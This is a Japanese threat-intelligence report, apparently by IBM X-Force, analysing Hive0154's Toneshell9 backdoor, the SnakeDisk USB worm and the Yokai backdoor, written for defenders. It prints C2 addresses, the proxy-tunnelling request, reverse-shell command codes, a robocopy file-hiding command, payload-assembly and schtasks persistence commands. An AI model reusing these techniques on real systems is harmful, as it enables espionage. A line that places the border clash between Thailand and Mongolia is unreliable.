Mustang PandaことHive0154、更新されたToneshellバックドアと斬新なSnakeDisk USBワームを投下

青いコードと中央に赤いコードが表示されているノートPCのクローズアップ

共同執筆者

Golo Mühr

Malware Reverse Engineer

IBM

Joshua Chung

Cyber Threat Intelligence Analyst

IBM Security

2025年7月、IBM X-Forceは、中国と連携した脅威アクター「Hive0154」に起因する新たなマルウェアを発見しました。これには、8月中旬に発見されたSnakeDiskと呼ばれる新しいUSBワームだけでなく、検知を回避し、いくつかの新しい機能に対応する更新されたToneshellの亜種が含まれます。このワームは、タイベースのIPアドレスを持つデバイスでのみ実行され、2024年12月にNetskopeによって発見されたYokaiバックドアをドロップします。

主な調査結果

  • 2025年半ばにかけて、X-Forceは、主にシンガポールとタイからアップロードされた武器化されたアーカイブで、複数のToneshellおよびPubloadマルウェアの亜種を観測しました。
  • VirusTotalの検知を回避する亜種の1つが、最新のアップデート「Tonewell9」です。ローカルに構成されたプロキシを介したコマンド・アンド・コントロール(C2)通信をサポートし、エンタープライズ・ネットワーク・トラフィックに溶け込み、2つのリバース・シェルを並行して実行します。
  • X-Forceは、IPアドレスに基づいてタイ国内のデバイスでのみ実行される新しいUSBワームであるSnakeDiskを分析しました。このワームはTonediskとコードが重複しており、新規および既存のUSBデバイスを検知して、拡散の手段として武器化することができます。
  • 分析されたSnakeDiskサンプルは、感染したデバイスにYokaiバックドアをドロップし、オペレーターが任意のコマンドを実行できるようにするリバース・シェルを設定します。Yokaiは以前、2024年12月にタイ当局を標的とした攻撃キャンペーンに使用されていました。

背景

Hive0154は、大規模なマルウェア兵器、一貫した手法、過去数年間にわたる十分に文書化された活動を備えた、中国と連携して確立された脅威アクターです。このグループは複数のサブクラスターで構成されており、シンクタンク、政策グループ、官公庁・自治体機関、個人など、官民の組織をターゲットにサイバー攻撃を行っています。X-Forceは、このグループが複数のカスタム・マルウェア・ローダー、バックドア、USBワーム・ファミリーを使用していることを観察し、同グループの高度な開発能力を認めています。Hive0154の活動は、Mustang Panda、Stately Taurus、Camaro Dragon、Twill Typhoon、Polaris、Earth Pretaとして公に報告されている脅威アクターと重複しています。

東アジアを標的としたサイバー諜報活動

2025年半ばを通じて、X-ForceはシンガポールとタイからVirusTotalにアップロードされた次の武器化されたアーカイブを観察しました。

ファイル名

悪意のあるDLL

C2サーバー

日付

Meeting Venue Request Information.zip

Publoadシェルコードを挿入するローダー

188.208.141[.]
196:443

5月21日

Hotel Booking Request.7z

Toneshell8

146.70.29[.]
229:443

7月3日

Cyber_Safety_
Checklist_
2025.rar

Toneshell8

146.70.29[.]
229:443

7月30日

TNLA နှင့် အခြားတော်လှန်ရေးအင်အားစုများ.rar

(ミャンマー語訳:「TNLAとその他の革命勢力」)

Toneshell8

146.70.29[.]
229:443

7月30日

Scan(08-02-205).zip

Toneshell8

146.70.29[.]
229:443

8月5日

Notes.rar

Publoadシェルコードを挿入するローダー

188.208.141[.]
196:443

8月21日

CallNotes.zip

Toneshell7シェルコードを挿入するローダー

146.70.29[.]
229:443

9月4日

Hive0154は、新しいローダーを使用してPubloaまたは Toneshell7のいずれかを反射的に挿入するだけでなく、より難読化されたToneshell8の亜種を直接デプロイすることも確認されました。最新のPubloadの亜種には小さな変更が加えられ、生のTCPを模倣したTLSトラフィックに加えて、デコイC2サーバーとHTTP POST経由でシェルコード・ペイロードのダウンロードがサポートされるようになりました。

アーカイブ「CallNotes.zip」9月に発見されたこのファイルは、ミャンマー外務省を装ったPDFルアー内のリンクを通じてボックス・クラウド・ストレージからダウンロードされた。

Toneshell7をデプロイする兵器化されたアーカイブのダウンロード・リンクを含むPDF
図1:Toneshell7をデプロイする兵器化されたアーカイブのダウンロード・リンクを含むPDF

8月半ばにX-Forceは、以前のTonediskの亜種と重複する新しいUSBワームであるSnakeDiskも発見しました。このワームは、パブリックIPでタイ国内にあると判定されたデバイス上でのみ実行されます。SnakeDiskはYokaiバックドアを配信しており、これは2024年12月のNetskopeによる複数のタイを標的としたキャンペーンと公に関連付けられていました。

Yokaiバックドアがタイを標的に使用された過去の経緯を考えると、最新のUSBワームの発見は、タイを取り巻く次の最近の地政学的な出来事と一致しているように思われます。

  • 2025年5月下旬、タイとカンボジアは国境紛争に巻き込まれ、カンボジア兵士1名が死亡しました。その後のタイとカンボジア間の協議は決裂し、双方とも国境沿いの軍隊を増強しました。
  • 2025年6月、タイのPaetongtarn Shinawatra首相とカンボジアの元指導者Hun Senとの電話会談の内容が流出し、タイ首相が解任されました。
  • 2025年7月24日、ランサムウェア、空軍攻撃、船舶攻撃など、タイとモンゴルの間で複数の国境際の間での間の衝突が続きました。2025年7月28日、米国とマレーシアの仲介で、双方は暫定的な停戦に至りました。
  • 2025年8月初旬、タイ官軍がカンボジア首相に対する暗殺攻撃を計画しているとカンボジア政府が非難しましたが、タイ政府はこれを否定しました。カンボジア政府は、その情報源として「匿名の外国諜報機関」を挙げました。

伝統的に、中華人民共和国(PRC)はカンボジアの支援国であり、武器を供給し、インフラ・プロジェクトに数十億ドルを投資してきました。最近の地政学的な出来事が、Hive0154がタイに対するオペレーションを開始するきっかけとなった可能性があります。タイを拠点とするマシン上でのみ実行するように構成されたSnakeDisk USBワームのデプロイは、Hive0154が官公庁・自治体のネットワークでよく使用されるエアギャップ・システムに侵入しようとしている可能性を示唆しているようです。

Toneshell8のアップデート(2025年3月)

X-ForceがToneshellバージョン8を初めて確認したのは2025年3月のことでした。動作は 以前のバージョン7と非常に似ていますが、静的検知を回避し、解析を妨げるための小さなアップデートが含まれています。最も顕著な変化は、マルウェアの機能にジャンク・コードが含まれていることです。これらのジャンク・コード・セクションでは、次の動作を実装しています。

  • API呼び出しを使用してランダムな一時ファイルを書き込み、再度削除する
  • 文字列をコピーしてループさせる。最初のサンプルで使用された文字列は、OpenAIのChatGPTのWebサイトからコピーされたものでした。
  • ランダムな間隔でスリープする

次の3つのコード例は、すべてのAPIを解決する関数内にあります。

ランダムなスリープ用ジャンク・コード
図2:ランダムなスリープ用ジャンク・コード
ジャンク・コードでランダムなファイルが作成され、削除されたことを示すコード・スニペット
図3:ジャンク・コードで作成および削除されたランダムなファイル
ジャンク・コードの無意味な文字列スキャンを示すコード・スニペット
図4:ジャンク・コードの無意味な文字列スキャン

Toneshell8の開発者はまた、疑似乱数ジェネレーター(PRNG)を、次のような異なる定数を使用するカスタムの線形合同ジェネレーター(LCG)実装に置き換えることを選択しました。

DWORD __cdecl zf_update_prng(main_struct *main_struct)
{
  main_struct->prng_state = 0xBD828 * main_struct->prng_state + 0x4373A;
  return main_struct->prng_state;
}

PRNGはToneshellで使用され、被害者IDやC2トラフィックの暗号化キーを生成し、C2ビーコンの信頼性を検証します。Toneshell8サンプルの実装は、品質に大きなばらつきがあります。例えば、上記のジェネレーターは、上記の4つのサンプルで使用され、ほとんどのシードに対して11種類の状態のみを生成します。

最後に、C2サーバーに送信されるハードコードされた応答コードは、特定のコマンドのステータスをオペレーターに通知しますが、サンプル内のさまざまなハードコードされた整数から計算することで難読化されました。

Toneshell9(2025年7月)

7月、X-Forceは新しいToneshellの亜種を発見し、これを「Toneshell9」と呼んでいます。これには重要な更新が含まれており、執筆時点ではVirusTotalでは検知されていません(318a1ebc0692d1d012d20d306d6634b196cc387b1f4bc38f97dd437f117c7e20)。

新しいToneShellの亜種は、「USB Safely Remove(USBの安全な取り出し)」ソフトウェアを含む、トロイの木馬化されたRARアーカイブで初めて確認されました。コード構造は、同一のC2構成を含む2024年12月のフォークされた亜種に基づいているようです。

初期化

以前の亜種と同様、Toneshell9はサイドロードされたDLLとして実行されます。武器化されたRARアーカイブにはBATファイルが含まれており、正規の実行ファイル「USBSRService.exe」を「-Embedding」コマンドライン引数付きで起動します。ToneShell DLL「EasyFuncs.dll」がメモリーにロードされ、エクスポートFS_RegActiveXが実行されると、初期化に必要なAPIの最初のセットの解決が開始されます。「-Embedding」コマンドライン引数を解析した後、Toneshellは引数「EvtSys」を使用して新しいプロセスで親実行ファイルを起動します。後者の引数は、悪意のあるDLLの主な動作をトリガーします。

Toneshellはまず、以下の値を持つ新しいクライアント・オブジェクトを初期化します。

struct TONESHELL_CLIENT
{
  BYTE is_connected;
  HANDLE heartbeat_thread;
  C2_CLIENT *p_c2_client;
  DWORD unused_C;
  VICTIM_DATA *p_victim_data;
  DWORD unused_14;
  QWORD tick_count;
};

次に、カスタム・ハッシュ関数を介して必要な残りのAPIを解決し、関数ポインターを別の構造体に保管します。続いて、新しいイベント「Windows External Module」を作成します。このイベントはミューテックスとして機能し、複数のインスタンスが同じマシン上で実行されるのを防ぎます。

Tone Shell9には複数のジャンク・コード・セクションが散在しており、現在のCPUティック数を取得し、結果を文字列として保管し、再び割り当てを解除します。

API解決ロジック内のToneshell9ジャンク・コードのスニペット
図5:API解決ロジック内のToneshell9ジャンク・コード

C2通信、プロキシ・サーバー、ビーコン、ペイロードをメモリーで管理および保管するために、Toneshellは129KBの大規模なオブジェクトをインスタンス化します。

struct C2_CLIENT
{
  std::vector<std::string> c2_list;
  SOCKADDR_IN c2_sockaddr_array[16];
  int current_c2_sockaddr_index;
  int number_of_c2s;
  BYTE key[768];
  SOCKET ptr_socket;
  DWORD beacon_tls_header;
  BYTE beacon_payload_buffer[65536];
  BYTE c2_response_buffer[65536];
  DWORD size_of_c2_response;
  BYTE critical_section[24];
  std::list<proxy_entry> proxy_list;
  int proxy_enabled;
  int current_c2_string_index;
};

以前の亜種とは異なり、Toneshell9はHKEY_LOCAL_MACHINE、HKEY_CURRENT_USER、およびHKEY_USERS\\.DEFAULTレジストリー・ハイブを列挙し、ローカルで構成されたプロキシ・サーバーを検索します。

Toneshell9がWindowsレジストリーからプロキシ・サーバーを解析していることを示すコード・スニペット
図6:Windowsレジストリーからプロキシ・サーバーを解析するToneshell9

サーバーが見つかった場合、URLのプロトコル(httphttpsftpsocks)と完全なURLの両方がオブジェクトのリスト内の文字列として保管されます。

次に、ToneshellはC2サーバー・ドメインとIP所在地を文字列ベクトルに保管します。同じハードコードされたIPとポートが、SOCKADDR_IN構造体の配列に直接保管されます。マルウェアはその後、C2サーバー文字列をループし、それぞれのTPアドレスを解決して、それをSOCKADDR_IN構造体の同じ配列に追加します。

C2サーバー・アドレスを解決および保管するToneshellを示すコード・スニペット
図7:C2サーバー・アドレスを解決および保管するToneshell

以前の亜種で確認されたように、ToneshellはWindows _rand()関数によって生成されたランダムな16バイトの被害者GUIDを含む次のファイルをドロップします。

C:\ProgramData\ProgrammaticallyCpp.inc

GUIDは、ファイルのパスと被害者のNetBIOS名とともに構造体に保管されます。

struct VICTIM_DATA
{
  BYTE victim_guid[16];
  BYTE computername[24];
  BYTE guid_path[24];
};

上記のデータは、メモリー内にビーコン・オブジェクトを構築するために使用されます。特にToneshell9 は、上記で説明した主要な初期化動作の前後のCPUティック数の差を計算します。この値は正規化されており、サンドボックスの実行やデバッグの遅延を示す可能性のある実行時間の異常を検出するために使用される可能性があります。

struct BEACON_DATA
{
  BYTE key[768];   
  BYTE code_byte;       // set to 0x02
  BYTE victim_guid[16];
  BYTE computername[80];
  DWORD tick_delta;
};

0x300バイトのXORキーは、_rand()を通じて生成され、オフセット0x300から開始される101バイトのデータを暗号化するために使用されます。上記のデータは、次の形式の偽のTLS 1.2アプリケーション・データ・パケットにパッケージ化されています。

struct BEACON
{
  BYTE tls_header[3];       // 17 03 03
  WORD payload_size;        // 0x0365 (big-endian)
  BYTE payload_data[869];  
};

C2通信とHTTPプロキシ

メイン・ループの間、Toneshell9はC2サーバーへのソケット接続を確立する関数を実行します。まず、最初のSOCKADDR_IN構造体を介して接続を試みます。それが失敗した場合、マルウェアはレジストリーから収集されたプロキシ・サーバーのいずれかを介してソケット接続を確立しようとします。これは、C2アドレスの各文字列、つまり上記で分析されたサンプルのIPアドレスとドメインに対して試行されます。

プロキシ・サーバーのIPアドレスを解決し、TCPソケット経由で接続した後、まず送受信のタイムアウトを1分に設定します。続いて、次の接続リクエストを送信します。

CONNECT <C2 server>:<C2 port> HTTP/1.0
Host: <C2 server>:<C2 port>
Content-Length: 0
Proxy-Connection: Keep-Alive
Pragma: no-cache

プロキシ・サーバーが2xxステータス・コードを返す場合、接続は正常に確立されており、生のTCPトンネリングの準備が整っています。Toneshell9はC2サーバーとの接続を確認するために、短いハンドシェイク・プロトコルを使用し、そのプロセスでサーバーのIPとポートも送信します。ハンドシェイクが成功すると、ソケットへのハンドルがC2_CONNECTION構造体に保管され、ソケットのタイムアウトは2分に設定されます。次に、Toneshellはソケットを通じて最初の広告ビーコンを送信します。

サーバーから同様の応答が返されることが予想されますが、最初の5バイト以外は、以前に送信されたXORキーを介して暗号化されます。

struct C2_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE command_code;
    BYTE shell_id;
    BYTE data[];
}

感染したデバイスですでに設定されているプロキシーを使用することで、Toneshellは他のネットワーク・トラフィックに効果的に紛れ込むことができます。大規模なエンタープライズ環境では、多くの場合、出力フィルタリングが実施され、信頼できるゲートウェイを通過するトラフィックのみが許可され、直接のC2通信がブロックされます。Toneshellにはこのフィルタリングを回避する機能が備わっており、セキュリティーが十分に確保されたネットワーク環境下でも動作できます。

シェルのリバース

最初のC2応答を受信すると、Toneshellは新しいスレッドを開始し、30秒ごとに0x1の応答コードとランダムなshell_id値で、ハートビートのような応答ビーコンを送信します。応答ビーコンの形式は非常によく似ています。

struct BEACON_CMD_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE response_code;
    BYTE shell_id;
    BYTE data[];
}

Toneshell9は次のコマンド・コードをサポートしています。

コード

説明

2

このビーコンをスキップして、次のビーコンを待ちます。

3

新しいリバース・シェルを作成して、shell_idに割り当てます。

4

shell_idで識別されるリバース・シェルにコマンド文字列を書き込みます。

5

shell_idで識別されるリバース・シェルを閉じます。

以前の亜種と同様に、新しいcmd.exeプロセスのstdinおよびstdoutハンドルに接続された匿名パイプを使用してリバース・シェルが設定されます。Toneshell9は、2つのアクティブなリバース・シェルを並行してサポートし、次の構造を使用してシェル接続を管理します。

struct REVERSE_SHELL
{
  int shell_id;
  BYTE cmd_path[24];
  HANDLE hReadPipe1;
  HANDLE hWritePipe1;
  HANDLE hReadPipe2;
  HANDLE hWritePipe2;
  DWORD hThread_cmd;
  DWORD hProcess_cmd;
  DWORD parent_pid;
  BYTE cmd_process_created;
  DWORD hThread_pipe_to_c2;
};

リバース・シェルごとに新しいスレッドが作成され、stdoutパイプからの新しいデータを定期的にチェックし、応答コード0x4のビーコンでC2サーバーに送り返します。Toneshellオペレーターは、正しいshell_idを使用してパイプに文字列データを書き込み、マシン上で任意のコマンドを実行できます。リバース・シェルを閉じると、parent_pidで識別されるconhost.exeプロセスもマシン上で終了します。

SnakeDisk USBワーム

2025年8月、X-ForceはHive0154に起因するこれまで知られていなかったUSBワームを発見しました。タイからの32ビットのDLLが「01.dat」としてVirusTotalにアップロードされ、Toneshell9と同様の機能を備えています。どちらもDLLサイドロードを介して実行され、DllEntryPointとマルウェアのエントリー・ポイントを除くすべてのエクスポートは同じ関数を指し、この関数はすぐに返されます。また、両者ともほぼ同一のAPI解決メカニズムを備えており、これはほぼすべてのToneshell関連のマルウェアと一致しています。Toneshell9のサンプルと同様に、SnakeDiskもコマンドライン引数を読み取り、次の2つの実行パスのいずれかを選択します。

  • 「-Embedding」:デバイスが取り外されると、埋め込まれたペイロードをドロップして実行する前に、USB感染動作を開始します。
  • 「-hope」: 埋め込まれたペイロードを直ちにドロップして実行します。

初期化

USB感染機能を実行するためには、SnakeDiskには親実行ファイルの現在のディレクトリー内を検索する構成ファイルが必要です。「System Volume Information(システム・ボリューム情報)」と名付けられない限り、そのディレクトリーにあるファイルはすべて、実行可能な構成ファイルのリストに追加されます。Tonediskは引き続き各ファイルを開いて読み取り、復号化を進める前に次の条件をテストしてファイルを検証します。

  • ファイル・サイズは0x14A~0x14000バイトである
  • 最初の4バイトは残りのファイルの正しいCRC32ハッシュである

SnakeDiskは、おそらくカスタムの2フェーズXORアルゴリズムと、330バイトのヘッダーに保管されている320バイトのキーを使用してデータを復号化します。

XORベースの構成復号化アルゴリズムを示すコード・スニペット
図8:XORベースの構成復号化アルゴリズム

最後にマルウェアは、マルウェアの構成を定義する18個の文字列値を解析します。X-Forceは構成ファイルを復元できませんでしたが、SnakeDiskの分析により、この値の目的が次のようなものであることが明らかになりました。

構成フィールド

目的

version

すでに感染したクライアントを更新された亜種で再感染させる必要があるかどうかを判断するために使用されるマルウェアのバージョン。

mutx

ミューテックスの文字列。

psd

分析したサンプルでは使用されていません。おそらくローカルでは「usd」に相当します。すべての「u*」値は兵器化後のUSB上のファイル/ディレクトリー名です。

urd

おそらく「USB root directory(USBルート・ディレクトリー)」です。サブディレクトリーを含むUSBに作成されたディレクトリー名。

uud

おそらく「USB user directory(USBユーザー・ディレクトリー)」です。USBからのユーザーのオリジナル・ファイルが含まれる<urd>の下のディレクトリ名。

usd

おそらく「USB staging directory(USBステージング・ディレクトリー)」です。SnakeDiskのさまざまな悪意のあるコンポーネントを保管している<urd>の下のディレクトリー名。

pnex

おそらく「parent name executable(親名実行ファイル)」です。実行中にSnakeDiskの現在のディレクトリーに存在するファイルのファイル名。

pndl

おそらく「parent name DLL(親名DLL)」です。実行中にSnakeDiskの現在のディレクトリーに存在するファイルのファイル名。

pnen

おそらく「parent name encrypted(親名暗号化)」です。実行中にSnakeDiskの現在のディレクトリーに存在するファイルのファイル名。

pnendl

おそらく「parent name encrypted DLL(親名暗号化DLL)」です。実行中にSnakeDiskの現在のディレクトリーに存在するファイルのファイル名。

unex

おそらく「USB name executable(USB名実行ファイル)」です。<pnex>からUSBにコピーされたファイルのファイル名。

undl

おそらく「USB name DLL(USB名DLL)」です。<pndl>からUSBにコピーされたファイルのファイル名。

unen

おそらく「USB name encrypted(USB名暗号化)」です。<pnen>からUSBにコピーされたファイルのファイル名。

unendl

おそらく「USB name encrypted DLL(USB名暗号化DLL)」です。<pnendl>からUSBにコピーされたファイルのファイル名。

unendl_org

<pnendl>からUSBのルート・ディレクトリーにコピーされ、ファイル属性で隠されたファイル(おそらくDLL)のファイル名。

unconf

USBにドロップされたSnakeDisk構成のファイル名。

regkey

レジストリーの永続化メカニズムに関連する可能性があります。分析したサンプルでは使用されていません。

schkey

スケジュールされたタスクの永続化メカニズムに関連する可能性があります。分析したサンプルでは使用されていません。

構成ファイルを正常に読み取った後、SnakeDiskは現在タイにあるマシン上で実行されていることを確認しようとします。http://ipinfo[.]io/jsonにHTTP GETリクエストを送信し、「国または地域」フィールドが「THA」または「TH」のどちらかと一致するかどうかを確認します。一致する場合、実行を継続します。

GET /json HTTP/1.1
Connection: Keep-Alive
User-Agent: Program/1.0
Host: ipinfo.io

特に、APIの解決中またはネットワーク通信中にエラーが発生した場合にも、実行を継続します。

次にSnakeDiskは、ミューテックス「Global\\<mutx config value>」を開こうとすることで、単一インスタンスでのみ実行されるようにします。ミューテックスがすでに存在する場合、マルウェアは終了します。それ以外の場合は、CreateMutexWを介してミューテックスを作成します。

USBデバイスの検知

すでに接続されているUSBドライブを感染させるために、SnakeDiskはAからZから得られるすべてのドライブ文字をループし始めます。これにより、「\\.\A:」などの物理ボリュームへのハンドルが開きます。そして、IO制御コードIOCTL_STORAGE_GET_HOTPLUG_INFO(0x2D0C14)をデバイスに送信します。返されたSTORAGE_OTPLUG_INFO構造体に従ってデバイスがホットプラグ・デバイスである場合、そのドライブに感染するための新しいスレッドを起動します。

すべてのドライブ文字を調べた後、SnakeDiskは5秒間スリープし、新しいウィンドウ・クラス「TestClassName」を登録し、対応するウィンドウ「TestWindowName」を作成します。オペレーティング・システムからメッセージを取得するために、関数はGetMessageWを使用してWindowsメッセージ・ループを作成し、TranslateMessageおよびDispatchMessageW経由でメッセージをマルウェアのウィンドウ・プロシージャーに配信します。WM_CAP_PAL_OPEN(0x450)メッセージを受信した場合にのみループを終了します。悪意のあるウィンドウ・クラスは、WM_DEVICECHANGE(0x219)メッセージ、特にDBT_DEVICEARRIVAL(0x8000)およびDBT_DEVICEREMOVECOMPLETE(0x8004)イベントをリッスンするカスタム・プロシージャーを参照します。

WM_DEVICECHANGEメッセージをリッスンするウィンドウ・クラスのコールバック関数のコード・スニペット
図9:WM_DEVICECHANGEメッセージをリッスンするウィンドウ・クラスのコールバック関数

このようなメッセージを受信した場合(例:USBデバイスが感染したマシンに接続された場合)、この関数はDEV_BROADCAST_VOLUME構造体の「dbcv_unitmask」フィールドを使用して、対応するデバイスのドライブ文字を決定します。新しく接続されたデバイスでは、ドライブに感染するための新しいスレッドが開始されます。SnakeDiskがデバイスの取り外しを検知すると、組み込みペイロードをドロップして実行するスレッドが起動し、SnakeDisk DLLが「-hope」コマンドライン引数で実行した場合と同じ実行パスが開始されます。

USBプロパゲーション

検出されたUSBデバイスを感染させるスレッドは、ドライブを検索して既存の構成ファイルを探し、すでに感染しているかどうかを判断することで開始されます。.datまたは.cd拡張子ファイルから構成の複合化および解析を試みます。構成が解析されると、マルウェアはすでに感染したドライブのバージョン番号と自身の構成のバージョンを比較し、古いバージョンのSnakeDiskが存在するドライブにのみ再感染します。

次に、SnakeDiskは別のスレッドを開始して、USB上の既存のファイルを新しいサブディレクトリーに移動します。このマルウェアは、ユーザーが期待するファイルをUSBに実質的に隠すことで、被害者がUSBがまだ開いていないと思い、デバイスと同じ名前をつけた新しいマシン上の武器化された実行ファイルを誤ってクリックする可能性を高めます。実行後、悪意のあるランチャーは、疑いを避けるためにユーザーのファイルをコピーします。感染したデバイス上のユーザー・データを含むパスは、次の構成値から構築されます。

<drive_letter>:\<urd>\<uud>\

マルウェアは、オペレーションに2つの異なるメカニズムを使用する可能性があり、それぞれ別のスレッドで開始します。最初のスレッドはSHFIleOperationWを使用して各ファイルを移動します。各オペレーション中にファイル「C:\\Windows\\Tmp\\msd.log」からも32バイトを読み込み、ファイル「C:\\ProgramData\\app.log」に書き込んでから、後者を削除します。この動作の目的は不明です。

脅威アクターがUSBから新しいディレクトリーにファイルを移動していることを示すコード
図10:USBから新しいディレクトリーへのファイルの移動

スレッドが実行されている間、マルウェアは2番目のスレッドを開始する前に30秒間、正常に完了したかどうかを定期的に確認します。2番目のスレッドはrobocopyを使用してファイルを移動させ、新しいプロセスで次のコマンドを実行します。

robocopy <drive_letter>:\ <drive_letter>:\<urd>\<uud>\ /XD
"<drive_letter>:\<urd>\" /XF "<drive_letter>:\<unendl_org>" /XF
"<drive_letter>:\<usb_volumename>.exe" /XD "System Volume Information" /E
/MOVE

どちらのファイルの移動も、SnakeDiskの武器化されたファイルと、USBディスクのルート・ディレクトリーに保持すべき「システム・ボリューム情報」ファイルを除外します。上記のコマンドを実行した後、同じファイルが含まれ、宛先よりも古いソース・ディレクトリー・ファイルを除外するために、2つの追加フラグ「/IS」と「/XO」を使用して同じコマンドが再度実行されます。

USB上の既存のファイルを移動した後、SnakeDiskは現在のディレクトリーからUSBドライブに独自のペイロードをコピーします。構成で指定された次のファイルは、それぞれ新しいスレッドでCopyFileW経由でコピーされます。

.\<pnex> copied to <drive_letter>:\<urd>\<usd>\<unex>
.\<pndl> copied to <drive_letter>:\<urd>\<usd>\<undl>
.\<pnen> copied to <drive_letter>:\<urd>\<usd>\<unen>
.\<pnendl> copied to <drive_letter>:\<urd>\<usd>\<unendl>
.\<pnen> copied to <drive_letter>:\<usb_volumename>.exe
.\<pnendl> copied to <drive_letter>:\<unendl_org>

USBドライブのルートにあるEXEのファイル名は、USBデバイスのボリューム名に設定されます。空の場合は単に「USB.exe」と設定されます。また、SnakeDiskは、「<drive_letter>:\<unendl_org>」にコピーされたファイルにSYSTEMおよびHIDDENの属性を設定します。USB上のすべてのディレクトリーにもこれらの属性があり、実行ファイル以外のすべてを効果的に隠しています。X-Forceは他のファイルを取得しませんでしたが、以前のUSBワームは同じ手法を使用して被害者に実行ファイルをクリックさせ、DLLをサイドロードして感染を開始していました。そのような悪意のあるDLLのファイル名は、「unendl_org」構成値に保管されている可能性があります。最後にSnakeDiskは、その構成を「unconf」値の名前でUSB上の新しいファイルに書き込みます。

ペイロード実行

埋め込みペイロードのドロップと実行を担うSnakeDiskスレッドは、USBデバイスの削除が検出されたとき、もしくは「-hope」コマンドライン引数を介してSnakeDiskの実行時に開始されます。

まず、スレッドはディレクトリー内のマーカー・ファイル「vm.ini」を読み取り、その内容を自身の現在のパスと比較します。このファイルは、ペイロードのドロップと実行が成功した後にも書き込まれ、被害者がすでにSnakeDiskの埋め込みペイロードに感染しているかどうかがわかります。パスが一致する場合、ペイロードはドロップされず、スレッドは終了します。

最初の確認が終わると、SnakeDiskは一連のペイロードを「C:\Users\Public\」ディレクトリーにドロップし始めます。各ファイルは、0.6~3.3MBの大規模な関数の即時値からメモリーに構築されます。

バイナリー・ペイロードを構築する逆アセンブル関数を示すコード
図11:バイナリー・ペイロードを構築する逆アセンブル関数

続いてペイロードは、ファイルとして次の場所にドロップされる前に、単純なXORオペレーションで復号化されます。

  • C:\Users\Public\srv0
  • C:\Users\Public\srv1
  • C:\Users\Public\srv2
  • C:\Users\Public\loga
  • C:\Users\Public\logb
  • C:\Users\Public\logc

これらのファイルは3つのグループに連結され、次のコマンドを介して2つの最終ペイロードが生成されます。

cmd.exe /c cd "c:\users\public\" & copy /b "srv0"+"srv1"+"srv2"
c:\users\public\libcef.dll
cmd.exe /c cd "c:\users\public\" & copy /b "loga"+"logb"+"logc"
c:\users\public\<randomised_name>.exe

EXEのファイル名は、10個のランダムな大文字と数字から作成されます。連結後にはファイルが削除されます。

最後に、実行ファイルは、ハードコードされたコマンドライン引数を使用して新しいプロセスで起動されます。

c:\users\public\<randomised_name>.exe -project-mod

当然のことながら、EXE(bb5bb82e5caf7d4dbbe878b75b23f793a5f3c5ca6dba70d8be447e8c004d26ce)は、実行中に悪意のあるlibcef.dllをサイドロードする正規の署名付き実行ファイル(acwebbrowser.exe)です。

Yokaiバックドア

DLLペイロードは、2024年12月にNetskopeによって報告された、Yokaiバックドアとして特定されました。実行時、このマルウェアは最初に「-project-mod」引数をチェックし、ユーザーが管理者グループのメンバーではない場合、スケジュールされたタスクを通じて永続性を確立します。

cmd.exe /c schtasks /create /f /sc MINUTE /MO 5 /tn
"MicrosoftEdgeAcModuleUpdateTask" /tr "<path> -project-mod"

次に、新しいミューテックス「k1tpddvivh74fo1et725okr1c1」を作成し、内部構成の構造を初期化します。SnakeDiskによってドロップされた亜種には、バージョン文字列「1.0.0」が含まれており、HTTP POSTリクエスト経由でハードコードされたC2サーバーにアクセスします。

POST /kptinfo/import/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: WinHTTP Example/1.0
API-INDEX: 0
Accept-Connect: 0
Content-Length: 156
Host: 118.174.183[.]89
<encrypted data>

Netskopeの分析で説明されているように、Yokaiは匿名パイプを通じてリバース・シェルを作成するために使用され、オペレーターが感染したマシン上で任意のコマンドを実行できるようになります。

興味深いことに、Yokaiは、Pubload/PubshellやToneshellなど、Hive0154に起因する他のバックドア・ファミリーと重複する部分があります。これらのファミリーは明らかに別のマルウェアですが、ほぼ同じ構造に従っており、同様の手法を使用してC2サーバーでリバース・シェルを確立しています。

Tonediskとのオーバーラップ

X-Forceの分析はさらに、SnakeDiskとTonediskの間に大きな重複があることも明らかにしました。長年にわたり、Hive0154に関連するUSBワーム・ファミリーはいくつか存在してきました。X-Forceは、その実装においてToneshellファミリーと強く関連している亜種をTonediskとして追跡しています。これまでのところ、3つの主要なTonediskバージョン(A、B、C)が特定されています。Tonediskの各バージョンは、USBワームの全機能を構成するさまざまな悪意のあるコンポーネントのスイートです。これらのコンポーネントには、ランチャー、ローダー、スプレッダー、暗号化ファイル、インストーラー、バックドアが含まれます。

SnakeDiskは、2023年半ばにCheckpointによってWispRiderとして報告されたToneDisk Aの亜種と特に重複します。両方のマルウェアのUSB伝播メカニズム、APIハッシュ、および構成ファイルにはいくつかの類似点があり、これはHive0154サブクラスターがマルウェアを相互に共有して再利用するという既知の傾向と一致しています。

謝辞

X-Forceは、このレポートのアクティビティーをHive0154傘下のクラスターで追跡しています。これは、Mustang Panda、Stately Taurus、Camaro Dragon、Twill Typhoon、Polaris、TEMP.Hex、Earth Pretaとして公開されているアクティビティーと部分的に重複しています。このグループは、悪意のあるコード、攻撃中に使用される手法、ターゲティングのいずれにおいても頻繁に重複する、かなり大規模なマルウェア・エコシステムを維持しているようです。X-Forceはこの大きなクラスター内で、少なくとも3つのサブクラスターを信頼性の低さから分離しており、各クラスターはマルウェアの中心的な系統であるPlugX、Toneshell、Publoadのいずれかと関連付けられます。特に各マルウェア株は、異なるUSBワームのフレームワークおよび1つ以上の関連するローダー・マルウェアの亜種とペアになっており、より頻繁に変更されます。同じローダーが、同じ時間枠内でTonellやPubloadなどの異なるペイロードに使用されることもあります。ただし、アクティビティーのクラスタリングは、アクティビティーが個別のサブグループとして動作していることを自動的に示すものではないことに注意することが重要です。

SnakeDiskとYokaiバックドアの使用に関連するアクティビティーは、Hive0154のさらなるサブクラスターを示している可能性があります。SnakeDiskとNetskopeのレポートにおけるIP地理位置情報チェックから明らかなように、現在は主にタイを標的にしていると見られています。

まとめ

Hive0154は、複数のアクティブなサブクラスターとの頻繁な開発サイクルを備えた、非常に有能な脅威アクターであり続けています。X-Forceは、Hive0154のような中国と連携するグループが、今後も大規模なマルウェアを改良し、世界中の官民組織を標的にしていくことを確信しています。上記のレポートで説明されているマルウェアは、まだ開発初期段階にあると考えられ、広く使用される前に防御側が検知メカニズムを導入することができます。Hive0154のスパイ活動のリスクがある組織は、防御セキュリティーを強化し、本レポートに記載されている手法に関して警戒を怠らず、次の推奨事項について検討してください。

